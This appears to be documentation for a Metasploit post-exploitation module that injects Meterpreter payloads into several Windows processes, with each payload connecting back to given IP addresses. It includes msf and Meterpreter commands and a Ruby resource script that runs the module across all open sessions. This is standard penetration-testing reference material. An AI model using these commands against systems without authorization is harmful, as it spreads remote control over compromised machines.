This module will inject in to several processes a given payload and connecting to a given list of IP Addresses. The module works with a given lists of IP Addresses and process PIDs if no PID is given it will start a the given process in the advanced options and inject the selected payload in to the memory of the created module.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

There are two ways to execute this post module.

From the Meterpreter prompt

The first is by using the "run" command at the Meterpreter prompt. It allows you to run the post module against that specific session:

meterpreter > run post/windows/manage/multi_meterpreter_inject

From the msf prompt

The second is by using the "use" command at the msf prompt. You will have to figure out which session ID to set manually. To list all session IDs, you can use the "sessions" command.

msf > use post/windows/manage/multi_meterpreter_inject
msf post(multi_meterpreter_inject) > show options
    ... show and set options ...
msf post(multi_meterpreter_inject) > set SESSION session-id
msf post(multi_meterpreter_inject) > exploit

If you wish to run the post against all sessions from framework, here is how:

1 - Create the following resource script:


framework.sessions.each_pair do |sid, session|
  run_single("use post/windows/manage/multi_meterpreter_inject")
  run_single("set SESSION #{sid}")
  run_single("run")
end

2 - At the msf prompt, execute the above resource script:

msf > resource path-to-resource-script

Required Options

  • SESSION: The session to run this module on.
